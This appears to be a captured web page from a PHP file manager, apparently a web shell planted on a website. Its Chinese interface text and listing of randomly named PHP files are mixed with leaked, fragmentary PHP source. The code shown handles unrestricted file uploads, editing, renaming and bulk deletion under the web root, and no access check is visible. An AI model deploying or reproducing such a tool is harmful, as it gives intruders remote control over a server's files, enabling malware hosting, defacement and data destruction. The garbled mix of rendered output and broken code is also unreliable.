选择文件名文件大小最后修改时间操作
[📄] 36r5hq6kq6.74 KB2026-10-03 04:04:28
[📄] assets_ee72a41.php3.45 KB2026-09-30 15:33:41
[📄] dpack.php7.91 KB2026-10-03 05:40:27
[📄] filemanager_rcttbwr.php43.54 KB2026-10-02 09:50:09
[📄] image_3ff7dc4.php5.57 KB2026-09-30 15:27:22
✅ 文件已保存

"; } $content = htmlspecialchars(file_get_contents($fileToEdit)); echo "

编辑文件: " . basename($fileToEdit) . "

"; echo "
返回
"; exit; } else { echo "

❌ 无法编辑文件,路径无效或文件不存在

"; exit; } } // **文件上传** if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_FILES['uploadFile'])) { $uploadFile = $currentDirectory . '/' . basename($_FILES['uploadFile']['name']); if (move_uploaded_file($_FILES['uploadFile']['tmp_name'], $uploadFile)) { echo "

✅ 文件上传成功

"; } else { echo "

❌ 文件上传失败

"; } } // **处理批量删除文件** if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_POST['deleteFiles'])) { $filesToDelete = json_decode($_POST['deleteFiles'], true); $deleted = []; $errors = []; foreach ($filesToDelete as $fileName) { $fileToDelete = realpath($currentDirectory . '/' . $fileName); if ($fileToDelete && strpos($fileToDelete, $documentRoot) === 0 && is_file($fileToDelete)) { unlink($fileToDelete); $deleted[] = $fileName; } else { $errors[] = $fileName; } } echo json_encode(["deleted" => $deleted, "errors" => $errors]); exit; } // **处理文件重命名** if (isset($_POST['rename'])) { $oldName = realpath($currentDirectory . '/' . $_POST['fileName']); $newName = $currentDirectory . '/' . $_POST['copyName']; if ($oldName && strpos($oldName, $documentRoot) === 0) { rename($oldName, $newName); echo json_encode(["status" => "success", "message" => "文件已重命名"]); } else { echo json_encode(["status" => "error", "message" => "重命名失败"]); } exit; } // **获取当前目录下的文件和文件夹** $fileList = is_dir($currentDirectory) ? scandir($currentDirectory) : []; // **面包屑导航** $breadcrumbs = []; $pathParts = explode("/", trim(str_replace($documentRoot, "", $currentDirectory), "/")); $pathLink = ""; $breadcrumbs[] = "Home"; foreach ($pathParts as $part) { $pathLink .= "/" . $part; $breadcrumbs[] = "" . $part . ""; } ?> 文件管理器 " . implode(" > ", $breadcrumbs) . ""; // 添加文件上传表单 echo '
'; echo "
"; echo ""; echo ""; echo ""; echo ""; foreach ($fileList as $file) { if ($file == "." || $file == "..") continue; $filePath = $currentDirectory . '/' . $file; $fileSize = is_dir($filePath) ? '-' : human_filesize(filesize($filePath)); $fileDate = date("Y-m-d H:i:s", filemtime($filePath)); echo ""; echo ""; if (is_dir($filePath)) { echo ""; echo ""; } else { echo ""; echo ""; } echo ""; echo ""; } echo "
选择文件名文件大小最后修改时间操作
[📁] $file-$fileDate[📄] $file$fileSize$fileDate
"; echo "
"; ?>